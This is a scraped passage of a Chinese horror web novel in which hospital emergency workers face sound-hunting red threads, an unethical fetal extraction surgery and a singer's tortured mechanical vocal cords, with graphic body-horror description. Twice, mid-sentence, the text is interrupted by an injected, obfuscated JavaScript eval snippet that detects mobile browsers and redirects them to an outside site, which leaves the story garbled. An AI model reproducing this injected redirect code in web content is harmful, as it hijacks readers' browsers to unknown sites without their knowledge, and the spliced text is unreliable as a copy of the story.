突然有一双手穿过她的腋下,把她拉到了手术台上,只差一秒,那些红线就能缠上她的脚底。 程昭懵逼地睁开了眼。 对上手术台上患者的一双圆润大眼,刚才被护士捂着,她没看清,此刻定睛一看,居然还是个超漂亮的萌妹子! 她脸上还残留着几道通红的指印,不用说,肯定是拽程昭那个护士干的,手劲是真的大。 程昭看向手术间的地面,那些红线还在沿着手术台往上爬,但明显速度慢了很多,线也变得很细。 有几股从地面延伸到了手术间门外,看来这扇门阻隔不了它,还在继续追那些逃出去的人。 应该也是分流了的关系,她们这里的线倒是越来越不成气候,到最后竟慢慢如退潮般离去了。 程昭跟患者面对面,谁都没有说话。 经过刚才的事情,两人都隐约猜到,这种可怕的东西,或许会被声音吸引而来。 不过程昭倒是想起一个奇怪的点,面前的人长发大眼,像是个刚成年的女生,可是刚才叫嚷的那句分明是个青年男子的声音,甚至还带了点磁性的烟嗓,跟女生实在是对不上号。 难道这就是传说中的女生男声,还是说,在她面前的是个……伪娘? 程昭不动声色地跟她拉开了一些距离。 她倒是急切地靠了过来,拉过程昭的手,在她手心里写下几个字—— “我不做手术” “救我出去” “求求你” 想出去,难道她运气这么好,上来就接到患者了? 程昭心中一振,掩住手腕,以对面人看不到的角度,打开了手环的任务界面。 【任务编号】20250623001 【地点】私立欣格医院 【患者人数】0/2 【倒计时】09:38:30 看到患者人数后的那个0,程昭暗自叹了口气,果然她还是那么倒霉,没找到原本泡世界的患者也就算了,怎么还莫名被个外地人给赖上了。 程昭谨记蒋裕的话,告诉自己这些都不是真人,不用管他们。 但在她蹑手蹑脚地下了手术台,往手术间外面走去时,那个女生就像个跟屁虫一样,亦步亦趋地粘在她身后。 程昭无奈,多一个人跟着,她自己也不好行动。 走廊里躺着两具干尸,看身长像是刚才那两个护士,程昭心情复杂,没想到留在手术间反而捡了条命。 女生在她背后倒吸一口凉气,抓住她的胳膊,手心沁着一层冷汗。 大概是年纪还小吧,不敢做手术,出来了也不知道手术室要怎么出去,又受了那种血腥场面的惊吓,此刻只知道跟着她。 程昭心软了。 反正这种手术室的构造都差不多,她轻车熟路地带着女生走到手术室大门口,指指门旁边的白色按键,示意她按下这个就能出去了。 女生看着大门上的小窗,双目圆瞪,顿在了原地。 程昭没管她,转身就走,她还得去找蒋裕呢。 刚才一路看过来,在做手术的两个手术间里好像都没见他人,只有最前面的1号手术间,门上小窗黑黢黢的,像是被什么东西遮挡住了,什么也看不到,她不确定蒋裕是不是就在那里面。 她刚迈出半步,衣角就被抓住了。 程昭不解地回头。 女生发着抖,指了指手术室大门的窗口。 怎么,家里人堵门外了? 程昭凑过去看,只一眼,她就定住了。 5. 手术室请安静02 透过小窗看出去,手术室门外站满了“人”,打引号是因为她也不确定那些生物到底是不是人。 外面的每一个人都瞪着猩红的双眼,眼白布满血丝,仿佛眼眶都要撑裂,离她最近的那个人看到她就激动起来,胸廓剧烈起伏,隔着衣服能看见根根分明的肋骨形状。 他把整张脸都贴在了窗上,越贴越紧,眼球越来越大,直到被玻璃挤压成薄片,有血雾溅在窗玻璃上,他却好像完全没知觉一样,瞪着两个血窟窿尽力往前挤,把手术室大门都撞得哐哐响。 好在电子门锁还算坚固。 这些人不仅是眼睛奇怪,皮肤也不正常,裸露的皮肤上布满了星星点点的血管痣,按理说这种良性皮肤病是中老年女性会长得比较多,但这外面的人明明看脸都很年轻,身上的皮肤却是松松垮垮的,说七老八十了都有人信。 随着第一个人跟她对上视线后,其他人也陆续发现了她,都神情狂热地往门上挤,仿佛饥饿的人看到了什么美食珍馐一般,伸出痩长的红舌在玻璃上舔来舔去,倒是把前人挤爆的眼球残渣给卷进了嘴里。吃进去后还露出一副飘飘欲仙的表情,不停吞吐着舌头回味,很快玻璃上的血污就被舔干净了,只剩下口水的印记。 有几个人张了张嘴,像在说什么,隔着厚实的大门,程昭听不到。 很快,外面越来越多的人加入,以相同的频率张着嘴,说着同样的话。 程昭强忍着精神上的折磨,努力去分辨他们的口型。 “给我……给我……” 盯着看了好一会儿,她还是只能分辨出前两个字,后面两个字,她实在是对不上。不过好消息是,怎么读都应该不是“人肉”这两个字。 眼见着外面的人群越来越激动,甚至有人开始捶门,程昭不敢再拉仇恨,跟肖音音一起躲到了前台下面。 看不到人以后,外面的骚动渐渐平息了。 不过这下程昭可犯了难,肖音音肯定不能从这里出去了。她都能预感到一旦开门,这些猩红的人形物就会一拥而上,把她们吞吃殆尽。 可是大门不能走的话,她等会儿找到患者后要从哪儿出去找救护车呢。 程昭只能在纸上写下一个字——“等”。 等什么,等蒋裕啊,在这个突然就冒出来团红线把人吸死的地方,她还是先跟同事汇合再说。 此时的蒋裕正在那个小窗被遮挡,从外面什么也看不见的1号手术间里。 这个手术间面积是其他手术间的两倍有余。手术间四面墙壁上铺着黑色的厚实隔音棉,连天花板都没有放过,地面的材质也与外面走廊不同,脚踩在上面软软的,除非用力在地面上蹦,不然连一点脚步声都听不到。 手术区域只占了手术间面积的一半,被竖起的黑色网格屏障包围,在屏障和墙面之间堆满了方块状的隔音包。 这台手术人员也明显比普通的手术要多,算上护士将近有10个人。 在手术台旁边约1米的地方,放着一台巨大的机器,下方是银色的巨大长方体,上方有一个黑色的不透明半圆形罩子,罩子前侧开了一个大约半米长宽的口子,里面黑黑的,看不清构造,有一根肉色的条状物连接着机器内部和手术台上的人。机器外面也有一圈透明的隔音罩围着,看起来非常厚实,前面有一扇类似门的开关,中央开了一个圆形的口子,允许那根肉条通过。 蒋裕站在机器前方,在其他人看不到的视野里,两条腿正在微微发颤。 虽然有隔音罩的保护,但仍能通过打开的口子听到里面传出来的低沉嗡嗡声,好像一台运作中的钻机,其中还时不时夹杂着几声类似婴孩的哭叫。 这声音似有魔力,不仅是蒋裕,机器附近的其他人也表情不适。 唯有主刀李俊面不改色,待声音停止后,立马指挥,“快点拿出来。” 蒋裕愣了几秒没有动,到身旁的人提醒他,他才反应过来,打开隔音罩的门,捧起手上的无菌布,伸进那个黑漆漆的洞口。 里面仿佛散发着寒气,他的手刚伸进去,就立刻打了个寒战。 他还记得刚才往里面放了什么,而现在拿出来的,却不知道会是个什么东西。 进域以后,他出现在手术室走廊,身上的急救制服顺应环境自动适配,拟态成了一套洗手服。 接着他就被人塞了一套耗材,示意他送到1号手术间去。 然后他就被迫留在这里,观看了一台堪比cult电影的手术。 最开始看到手术台上那高耸的肚皮时,他以为这只是一台普通的剖腹产手术,虽然不知道为什么一个剖腹产需要在这么古怪的手术室进行,但想想他泡世界什么都有可能,或许这就是VIP手术间呢。 但看到肚子的皮肤被一层层剥开,子宫打开,那个东西被人徒手挖出来的时候,他差点惊叫出声。 那是一个巨大的畸形儿,光看外表以为只是普通的十月怀胎,但那血乎的一团被拿出来后,可以看到产妇的腹腔已经被压迫的一塌糊涂,连肠子都变得青紫萎缩,令人怀疑这套消化系统是否能正常工作,还是说为了供养这个畸形的胚胎而耗光了营养。 这个畸形儿看不出什么婴儿的样子,他没有手没有脚,只是一团皱巴巴的肉,作为肉团他的形状也不是规则的圆球,而是发育初期的胚体的样子,有一个大大的脑袋,和一个带着类似尾巴结构的蜷缩着的身体。它的身上并不光滑,长着许多绿豆至蚕豆大小的肉瘤,像是一串质量不好的淋巴肉。 如果光是这样,还不足以让蒋裕那么失态,但这个“婴儿”的脑袋上只有一只比成人还大的眼睛,却有好几张嘴,正在蠕动咀嚼着。他实在不愿意去想,那嘴里血红的东西是什么。 但手术室里除了他,谁也没对这个怪胎表示惊讶。 蒋裕不相信,这个泡世界的人出生时都是这副可怖的模样。 这个“婴儿”被拿出来后,主刀并没有剪断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805366|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的脐带,而是拿着一个50ml的针筒垂直扎进眼球中央,用力往外抽拉,数张嘴同时大声嚎啕起来,鲜血和肉糜一下子就灌满了那个针筒。 刚才剖腹取胎时,大家动作淡定有条不紊,反倒是听到这嘹亮的声音时,不少人都瑟缩了一下。 护士眼疾手快,拿出准备好的奶嘴,一个一个塞进他的嘴里。 哭嚎声戛然而止,取而代之的是一阵塑胶的咀嚼声。 针筒取下后,眼睛原本的位置只剩下一个血红的深洞,里面粉黄色的软肉还在蠕动。 护士接过那截装满了血色混悬液的针筒,小心地放在了托盘上,用一张蓝色的绒布包好,贴上封签,上面标着“初生原液”几个字。 蒋裕胃里一阵翻腾,一助正把那个还连接着脐带的怪胎递给他。 他下意识地后退了一步。 一助皱皱眉头,自己把手伸进机器里,拽出一根半透明的蓝色粗管插进眼睛那个洞里。 管子带有吸力,如同触手般牢牢吸住了这个刚来到人世的小怪胎。 他显然很痛,小小的身体都在颤动,想要放声大哭,但嘴里塞着异物,他只能更加用力地咬着,来发泄身上的痛苦。 蒋裕不忍看了,虽然这个畸形的胎儿模样怪异恐怖,但他却仿佛感受到了他的痛。 这绝不是在接生。 但蒋裕不能阻止这一切,他刚才的抗拒已经引起别人的不满了,他只能沉默。 连着吸管的肉团被放进了机器里,眼睛得到了休息,但听觉却更加灵敏,他听着那阵阵的嗡鸣声,脑海里自动浮现出一个肉团被吸得越来越小,最后只剩一张皱缩的肉皮。 连接着母体的脐带一跳一跳的,像连接着一颗满负荷的心脏。 蒋裕觉得自己的心脏还没到能承受这些的地步,但一助并没打算让他置身之外,递了一块无菌布给他,指了指机器那如同地狱的开口。 他深呼吸着,在里面摸索,感谢布料的阻隔,他不必直接去触摸那一摊软烂的肉,但如他所想,这个肉团比刚才小多了。 他颤抖着手,捧出了这个只有原来三分之一大小的胎儿,他已经不哭了,奶嘴不见了,连每张嘴的嘴唇都咬烂了。 这得有多疼? 比起害怕,他现在更多的是心疼,是的,他心疼一个怪胎。 他觉得这间手术室里站着的一个个“人”,都比这个四肢五官全不正常的胎儿,更加不像人。 “愣着干什么?”李俊不悦道。 蒋裕咬着牙,忍下心头的愤恨,递上了那个胎儿。 李俊没有接,冷声道:“提取后的处理流程你不知道吗?” 蒋裕装着平静的语气道:“我刚跟台,带教没教过。” “没培训过的住院医都不能上深细胞手术,更不要说规培生了。” 李俊一双凌厉的眼睛直盯着他:“你是谁?” 蒋裕的背后瞬间被冷汗浸透。 6. 手术室请安静03 李俊一步步向他走来。 蒋裕急得汗水都流进了眼睛里,视线模糊了一大片。 “主任,搞错了。”手术间大门从外面打开,一个穿着洗手衣的男人走了进来,“我只是让他送东西而已。” 蒋裕提着的一口气终于是松了下来。 “董飞?你进来干什么,我这边已经快完成了。”李俊看向来者,脸色倒是变得更臭了。 进来的男人看上去三四十岁,蒋裕猜他起码也是个副主任,因为他面对李俊时不卑不亢,应该职称没有相差太多。 “快完成了就好,有问题叫我。”董飞笑笑,视线扫过手术间里侧那台庞大的机器,定定地看了好几秒才移开目光,他转向蒋裕,“赶紧放下,别耽误李主任做手术。” “哦哦。”蒋裕把无菌布包着的胎儿递给一助。 李俊冷哼一声,“别以为我不知道你在想什么,收收你那点小心思,别搞小动作。” 董飞的表情有那么一刻变得僵硬,但很快就调整了过来,还是那副淡然的样子,“李主任,我不知道你在说什么。来吧,洗个手跟我上台去。” 后面那句是对蒋裕说的,蒋裕如临大赦,屁颠屁颠地跟着他出了1号手术间。 “董主任……” “嘘。”董飞把食指抵在嘴唇上。 蒋裕闭上了嘴。 董飞领着他往前走。 靠近手术室大门就是办公室的位置,另一边则是手术室前台,董飞用工牌刷开了办公室的门,跟蒋裕一起走进去。 办公室的墙面上有一盏醒目的绿灯。 确认绿灯亮着,董飞才开口:“你看到了吗?” “什么?” “刚才的手术。” “我……”对于刚才那场手术,蒋裕光是想想就要反胃了。 “有几只眼睛?” “什么?” “那个供体,不,胚胎有几只眼睛?” “……一只。” “二次提取,他居然真的这么做了……”董飞双手抱头抵着墙面,双目紧皱。 “那个,他这是什么手术?” 董飞很快恢复了正常的姿态和神情,摇摇头道:“你还是不知道为好。” “那我……” “我还有点事,下场手术1个小时后开始,你在这儿休息会吧,等要上台了我来叫你。” “好的,董主任。” 董飞似乎真的把他当成了自己带教的规培生。 他走以后,蒋裕还是心有余悸,刚才那样的手术,一看就不可能通过伦理审查的,还是自己的泡世界好啊,才不会出现这种丧心病狂的事。 蒋裕点开手环,时间还剩9个多小时,不知道程昭怎么样了。 他不知道的是,程昭此刻就躲在办公室对面的前台下面,跟他只相隔一条走廊。 程昭听到了蒋裕的声音,还从脚步声判断出有两个人进了办公室,接着又有一个人出来了,她偷偷探出头来看,是一个不认识的中年医生。 这么说来,还留在办公室里面的人,应该就是蒋裕了。 程昭又等了一会儿,确定走廊里没人以后,来到了办公室门口。 然后她就犯了难,直接按门把手是打不开的,这门居然是要刷工牌进去的,她兜里是空空如也的,不知道里面的蒋裕能不能开门。 可是敲门的音量会不会吸引那些红线呢? 这手环还是不够智能啊,怎么就没开发出通讯功能呢? 在门外踌躇了一会儿,程昭又退守回了前台,扒着桌面蹲下,只露出一双眼睛。 她拿了一张空白的手术知情同意书,团把团把往办公室门上扔。 只有很轻的“噗”一声。 程昭谨慎地察看四周角落和地面,都没有红色丝线冒出来,看来这个声音太轻了,不会触发它们。 但坏处是,也不能触发对面,办公室毫无动静。 她把水笔的笔盖拔了下来,继续往门上扔。 依旧没动静,不管是好的还是坏的。 肖音音紧张地看着她,但是没有阻止。 程昭拔了前台的电话线,把座机抱在怀里。 要是这动静都不成的话,她这条命就算在蒋裕这个猪队友头上! 深色的座机在空中划出一条抛物线,由于重量,高度快速下降。程昭抛出去时没敢用很大力,她不确定那玩意儿是不是声音越大爬得越快,要是巨响会助长速度的话,她可来不及跑。 但她低估了座机的分量,看这走势还没砸门上,就要坠地了! 果然,在座机跟地面亲密接触的那一刻,就有红色丝线从手术室那个方向涌来。它无法在没有支撑的空中存在,只能依附在实物上,就像一只无形的蜘蛛在地面上飞速织网,极短的时间里织出了一张长长的带分支的网。 程昭见地面不安全,拉着肖音音站到了前台上,就算红线过来,也得往上爬一阵。 由于站得高,这回程昭看清了,红线并不是单纯地把网铺开。当分支延伸到一定长度却没有收获时,它就会往回缩,重新附着到主体上,让主体变得更粗壮,然后主体就继续拉长前行,生出分支,不断重复这个过程。 这种生长模式,有点像黏菌啊。 难道这是院感爆发? 红色丝线已经把座机包绕起来了,但显然它们对非生物不敢兴趣,只缠绕了一会就松开回缩了。 有一股分支似乎是捕捉到了活人的呼吸声,开始顺着前台向上爬,其余的分支都在慢慢收回主体,而主体也在往这个方向伸出更多分支。 程昭右手一只笔,左手一个病历夹,打算等红色黏菌爬到一半的时候再声东击西。 蒋裕就是在这个时候开的门。 他听到声响以后没有马上动作,听到外面没了声音,才开门一看究竟。门刚开一条缝就看到走廊满地的红色条纹,虽然不知道是什么,但120的经验让他练就了条件反射,立马就要关门,都没注意到程昭就在对面台子上站着。 程昭气得破口大骂:“你特么瞎啊!门开大点!” “啊?”蒋裕抬头,程昭正站在对面台子上,居高临下地看着他,一手举着笔,一手怀抱着病历夹,宛如一座自由女神像。 靠,这姿势还有点帅的啊。 蒋裕到底也是在重叠域里摸爬滚打过好几月的,身体动作比脑子快,没去细想现在的情况,赶忙把门完全拉开了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805367|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “一、二、三——跳!” 程昭揽着肖音音,两人一同起跳,赶在红线在脚下聚集的那一刻,向前扑去,摔进了对面的办公室里。 红线的动作也很快,前台上的分支纷纷缩回,在走廊上的主干同一时间向办公室大门分出细支。 蒋裕一手拉着一个人,把摔得动弹不得的她俩往里面拖,右脚勾着大门往前一顶,把门砰的一声关上了。 程昭还记得这玩意儿能钻门缝,虽然摔得浑身碎了一样地疼,还在努力地往里面爬。 蒋裕没经历过那些,见红线被挡在了外面,往办公椅上一倒,大喘着气:“没事了,你歇歇吧。诶妹子,你又是谁啊?” “闭嘴!”程昭听到声音,心脏一紧,但转头一看大门,竟无事发生,那些红色黏菌并没有钻进来。 肖音音已经慢慢扶着墙坐了起来,她看出蒋裕和程昭是一伙的,跟他打了个招呼:“你好,我叫肖音音。” “卧槽,谁在说话?!” 蒋裕的头左右打转,紧张地四下找寻,他怎么没发现这办公室里头还藏着个男人呢! 肖音音脸涨得通红,缓缓举起手:“那个,是我……” “你,啊,你,哦,你,你,你伪娘?”蒋裕问出了程昭一直想问,但没好意思问出口的话。 万一人小姑娘,啊不,小伙子是性别认知障碍什么的,那可是政治正确的大事,随随便便问出口,是要被扣性别歧视帽子的。 不过蒋裕本来就是个地域歧视的惯犯了,区区性别歧视的帽子,扣上了也是凭白给他涨一点身高,根本道德绑架不了他。 肖音音听了以后很难过的样子,头摇得像拨浪鼓,琥珀色的眼睛里噙着泪水:“我不是,不是伪娘,我就是女生……” 听着这种娇滴滴的话从一个青年烟嗓里冒出来,程昭和蒋裕都鸡皮疙瘩掉了一地。 “好了,你闭嘴吧。”蒋裕对她做了个捂嘴的姿势。 肖音音点点头,靠着墙暗自神伤。 程昭也从摔伤的疼痛里缓过劲来,爬上了蒋裕对面的椅子坐着。 “你这个地方,能说话?” “能啊,刚才有个医生带我来的,这里好像比较安全。”蒋裕指了指墙上的绿灯。 两个人正坐在灯下,头顶都被映得绿油油的。 “外面的到底什么东西?” 程昭回想了一下自己看到的情形:“我觉得,有点像某种黏菌,对声音敏感,好像是超过一定分贝就会触发。挺危险的,有攻击性,上来就吸死我们手术间一个麻醉师,千万不能接触到它。” “你上手术了?” “没做成,这个就是麻醉提前醒了跑路的病人。”程昭指了指肖音音,虽然并没有刻意避开这个他泡世界的人,但两人都不约而同地降低了音量。 “你呢,进来以后怎么样?” “呼,别提了,刚进来就跟了一台手术,没想到都出120了,还干门诊的活……那个手术超级重口的!我都不知道他们怎么想出来的……手术间也很奇怪,就是1号间,门上小窗都封起来的那个……” 程昭闻言挑眉:“巧了,我刚才看到,那种红色黏菌的源头也是1号手术间。” 7. 手术室请安静04 蒋裕小声地说完了他的遭遇,听得程昭直摇头:“这手术肯定通不过伦理啊。” 她摸摸下巴,又补了一句:“要是这种手术都能通过,那医学伦理委员会肯定收钱了。” “谁说不是呢。”蒋裕接茬,“你是觉得,那种红色黏菌,跟这个手术有关系?” “它明显是有个本体的,我们在外面看到的都是分支,无非大分支小分支的区别,我觉得它的本体很有可能就在1号手术间,你在里面没看到类似的东西吗?” “没有,房间里就是有很多隔音材料,但是手术过程里都是正常说话的,如果它源自1号手术间的话,应该一个人都跑不掉才对啊。” “你说得也有道理。”程昭揉了揉肩膀,这里应该是摔出淤青了,光是隔着衣服摸,都能摸到肩胛外侧肿起来了,“你不是说急救制服有保护作用吗?感觉一点缓冲都没有啊。” “只提供拟态保护,没有冲击保护啊,带那种程度保护的是治安队的制服。” “什么治安队,城管啊?” 蒋裕嘴角抽搐了下:“要是被治安队听到你这么说话,很难说下次遇到三级事件,他们会不会直接扔下你不管。” “啥意思?” “唉,进来得匆忙,都没跟你解释过,泡世界不良事件分四级,只有四级事件会让120单独出动,三级以上的不良事件都会联动110,一般到二级那种情况的话,120、110、119三家都要出动了。至于一级事件,只存在于理论上,现实中还没有出现过,不过真到了那种地步,也轮不到咱们上,会有大佬去解决的。 就像我们医院是120特殊的分支一样,治安队也是110里的某个特别部门,可以理解为时空特警吧,危险程度比较高的事件里,治安队会跟我们急救队一起进域里。一般来说,我们负责救人,他们负责解决域里的危险保护我们,所以他们的制服功能要多一点。对呀,我怎么没申请一个治安队员进域呢,虽然是四级事件,但也可以申请试试的嘛……”蒋裕碎碎念。 “听起来好好啊……” “是啊,其实一般治安队人都蛮好的。” “我说他们的制服好好啊,等出去以后我能不能去偷——呸,领一套啊?” “你思想很危险啊,这是盗窃公物你知道嘛?”蒋裕警告道,“治安队的纪律可比我们严肃多了。” “行吧,果然医务人员是体制内地板,在哪儿都一样。” 程昭叹了口气,趴在桌面上,视线对上了一整排的蓝色文件夹。 “哎,你说这里会不会能找到什么线索啊?”她指了指桌面上的台账。 “有道理,没准里面会有手术相关的东西!”蒋裕精神为之一振。 程昭一眼就看中了手术记录本,翻开一看,里面记录的手术名称大都是她没听过的。例如“优肝移植术”,看上去像是活体肝移植术一类的。但更多的手术是做什么的她就不确定了,就像这个“声带换新术”,移植就移植,换新是什么意思,克隆的器官移植吗?还有几台“深细胞提取术”,这应该就是蒋裕说的那个明显违反伦理的手术了。 但这里面只有手术的日期和台数,没写手术具体的内容。 蒋裕也挨个打开文件夹看。 光看书脊上的标签,似乎没什么特别的。 程昭拉开抽屉,倒有意外收获,最下面的抽屉里躺着一个灰色的文件夹,上面没有标签,看起来跟那些台账不是一批的。 打开一看,里面是一份报告——《关于深素注射时间间隔改进的可行性分析》。 程昭快速翻了翻,刚开始有些疑惑,慢慢就皱起了眉头。 这份报告里阐述的深素是一种深细胞提取加工后的制品,用途广泛,可用于细胞再生、抗衰老,甚至治疗癌症等。它不仅是治病的药品,还可以作为保健品给健康人群注射,坚持每6个月注射100单位的深素,能有明显的细胞年轻化改善,包括但不限于肌肉含量上升、神经活性提升以及肌肤胶原蛋白的丰盈——简单来说,就是能返老还童,青春永驻。 这个话术有点熟悉,大多数卖保健品的都爱这么说。 这让程昭想起前两年新型肺炎病毒流行那会儿,一个治骨关节炎的老药突然号称自己能防治新型肺炎,猛一波推销,还煞有介事地拿出了临床试验报告。 此时的这份报告里有几份临床疗效观察就跟那个有异曲同工之妙。乍一看好像没什么问题,正儿八经分了实验组和对照组做的实验。 但程昭这种大四开始就在课题组里做牛马的,一眼就能看出,数据本身没问题,可是样本的选择有问题。如果她没猜错的话,这应该是一份经过“精心挑选”的样本,因此各项数据都很漂亮,漂亮到失真。 不过非科研专业的人是看不出来的,唬唬普通患者甚至是领导都足够了。 报告里的论文有好几篇,前面三篇都在阐述深素在各疾病领域获得的卓越疗效,而后几篇则在比较每6个月注射一次和每3个月注射一次的疗效。 这些文章都一致表示缩短注射间隔能明显提升细胞活性,在抗衰方面能取得更大的获益。 这是一份可行性分析,因此前面好处说完了,后面就在列举难点和拟解决措施了。 主要难点有三,首先就是观念问题,目前每6个月注射一次深素的方案为主流,需要加大宣传力度,在流媒体上投放,资助更多的医学专家为新方案背书等等。 第二是费用问题,100单位的深素居然要16万8一支,因为药品珍贵,有特殊注射手法,连注射费用都要9800一次。看得程昭连连咂舌,穷鬼基因作祟,恨不得自己也即刻加入这个深素团队。 怪不得要把注射间隔从6个月缩短到3个月,这样利润直接翻了一倍啊! 估计这个医院背后的资本野心不小,她越来越怀疑伦理委员会是真收了这项目的钱了。 最后一个难点是深素的供应问题,虽然利润很高,但因为深素供体少,提取难度大,加工损耗高,一直处于供应紧张的状态。如果还要进一步缩短注射间隔,那必然会造成供不应求的局面。对此,报告里提出需要资金来改进加工工艺减少损耗。 这一部分里有人用红笔做了批注,在供体和提取上各划了一个圈,旁边写了几个字——“放宽供体限制”、“加大提取量”。 “加大提取量”这几个字后面还画了箭头,指向的也是红色的字——“二次提取”。 字倒是还挺好看的,笔锋遒劲,笔画末尾微微划破纸面,应该用的是钢笔,还挺讲究。 蒋裕也凑过来看完了,他的脸色要比程昭难看得多。 程昭只是觉得这个计划有点黑心,而蒋裕则是快呕出来了。 他大概知道,二次提取是什么了。 也知道,董飞为什么要问他几只眼睛了。 那个可怜 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两人急忙跑到肖音音身边,扒开她的手,把她平放在地上。她的脖子上没有掐痕,即使失去了束缚,她依然是一副吸不上气的样子,连三凹征都隐约出现了,嘴唇也开始发绀。 “喉头水肿?你箱子里有肾上腺素吗?” “没有?那气切包呢?”见蒋裕再次摇头,程昭更急了,“你急救箱里怎么什么都没有啊?快开箱啊,有啥用啥了!” 蒋裕也是急得满头大汗,他的箱子里有什么他自己还能不知道吗? 拗不过程昭,他只好点开了自己的急救箱页面,一个银灰色的小箱子凭空出现。 掀开上盖,程昭短暂地沉默了几秒,然后面如死灰道:“出120,你箱子里就只放了一个听诊器?!” 蒋裕满脸懊恼,“唉,当初箱子没开好,其实我也很后悔的,早知道当时多想一点了……这听诊器凑合用……” “这要怎么凑合啊!”程昭急得直跺脚,“不赶紧气管插管可能人就要死了啊!” 蒋裕咬咬牙:“程昭,她不是我们世界的患者,其实我们没必要……” 程昭直视着他的眼睛:“如果她在这里死了,那她在原泡世界会怎么样?” 蒋裕垂下头去,避开了她的视线。 “也会死。” “行,你不管她,那我开自己的。”程昭点上手环的黄色小圈。 【是否确定开启**箱?】 【确定】 程昭心里已经打定了主意,如果药品过期,就暂时不用药了,只要是标准的急救箱,气管插管的材料肯定是齐全的。 虽然她也有段时间没插过管了,不过培训时还是做得很好的,只要气管条件不是特别差,成功率还是挺高的。 箱子从手环里取出来后表面的灰尘倒是没有了,看来只数据化了急救箱,没有把灰尘也编译进去。 这让程昭稍微放心了些,不然那个脏样,搞不好直接感染了。 蒋裕蹲在一旁盯着那个老款的蓝色箱子,他很好奇,这个“新人”能从急救箱里开出什么东西来。 程昭双手同时拨动箱子两侧的卡扣,上盖自动弹起,露出了里面黑色海绵垫着的—— 一把羊角锤、一支测电笔,多功能螺丝刀套装,还有一把活动扳手。 “苍天啊!——”程昭双手抱头,仰天长啸,“怎么把救护车上的工具箱拿来了!” 8. 手术室请安静05 这同事是真不靠谱啊! 想到救护车上蒋裕还跟司机一唱一和的,她就恨不得拿起扳手给他俩脑袋上一人来一下。 气恼归气恼,程昭也没有放弃救人,她在飞速头脑风暴,怎么利用工具箱里的东西进行气管插管。 听诊器上的橡皮管可以拆下来做管体,用螺丝刀送进去,但是消毒问题怎么办呢…… 【叮!家用工具箱已激活,目前等级为1级。】 程昭看向蒋裕:“你在说什么鬼话?” 蒋裕一脸无辜:“我没说话啊,我在反省呢。” 他犯了把备用急救箱拿成工具箱这样的大错,哪里还敢说话。 “那谁在说话——你、你好了?”程昭眼看着肖音音自己坐了起来,惊了一下,虽然看她呼吸的频率还是有点快,但嘴唇已经恢复了红润。 “抱歉,我刚才是不是吓到你们了?”她的脸色还很苍白,声音沙哑得像一杆老烟枪。 “嗯,有点。”程昭跟蒋裕默契地同时后退一步。 这妹子上一秒还一副快死了的样子,下一秒就自己好了,怎么看怎么诡异。 肖音音抚上自己的咽喉,神情哀凄:“我的手术不能再拖了,这个机械声带快报废了……” “哈?” 他们听到了什么? 对面两人都露出了费解的表情。 还是程昭最先反应过来,高科技水平的世界,机械器官的存在也很合理嘛。 程昭顺着她的话问道:“你是女生,为什么要装一个男声的声带?” “因为我经纪人说现在流行小烟嗓。” “……经纪人?” 肖音音瘪了瘪嘴,眉眼间有几分怅然:“什么啊,真不认识我吗?看来他说的没错,我确实是十八线歌手,根本没什么人认识……这是我出道以来换的第四个机械声带了,第一次换了一个御姐音,没什么水花。 后来还换过正太音、气泡音,其实气泡音那个还不错,我出了几首热单来着,但是那个声带不到半年就坏了,然后就换了现在这个,说是可用寿命一年,但是才9个月就开始频繁出故障,严重的时候会卡住气道,现在我已经到了再不做手术就要憋死的地步了。” “那你刚才为什么不要做手术呢?” 程昭听她的意思,这手术是非做不可的呀,怎么刚才还在手术间闹成那样?现在好了,主刀跑没影了,麻醉和护士被吸干了,就剩她一个拿不住刀的废柴一助了。 “我不想再装机械声带了……”她抽了抽鼻子,手指抓着喉咙,“好痛啊——装了机械声带后,每次说话都像把针吞进喉咙里那样痛。第一次装的那一周,我都说不了话。 机械声带上有12个八爪勾脚,每一个都要深插进肉里,再用钳子捏紧,死死地扣住喉咙,这样才不容易松动。机械结构卡着我的喉咙,每发出一个音节,都像是有一圈金属刺在喉管里刮,那种刺啦刺啦的声音,我好像自己都能听到,从喉咙一直传到脑子里。 喉咙痛,头也痛,痛得我忍不住呕吐,装了机械声带以后就不能正常吃饭了,固体食物会挤压到金属结构,只能喝营养液,我吐出来的都是夹杂着血丝的黄水。 我经纪人说,不可以不说话,一段时间不说就永远不会说了,所以从第二周开始,他逼着我每天念六个小时以上的稿子,说这样能够促进喉管贴合机械声带,等磨合好了就没那么痛了。 但是没有,还是好痛好痛啊,只是说得多了,麻木了,习惯了这种痛,不会再吐了而已。 他说我原本的声音难听,不会红,想要火,想要当被人们喜爱的歌手,就必须换声带。一次声带换新术要20万,全自费,经纪公司不报销,他们只是借钱给我,要我赚了钱以后还给公司,年利率40%……” “靠!”蒋裕听不下去了,“这完全就是高利贷啊!” “我16岁出道,到现在3年了,至今没有还清手术借的钱,发过几张专辑,有一两张小火,更多的都反响平平。 每次专辑卖得不好,就让我去换声带。机械声带刚换好的三个月声音最好听,到三个月以后就开始衰减了,所以每次换好的第一个月就开始演唱会,一个月20场,票卖得不好就去走商演。 说实话,我也不知道这些年,到底赚了多少钱,因为一直都在还债,每次旧债还没还完,经纪公司就给我安排新的手术项目,就又欠他们钱了…… 但其实这些我都能忍受,我做歌手不是为了赚钱,我就是想唱歌而已,我从小就喜欢唱歌,我想让更多的人听到我,越多越好。 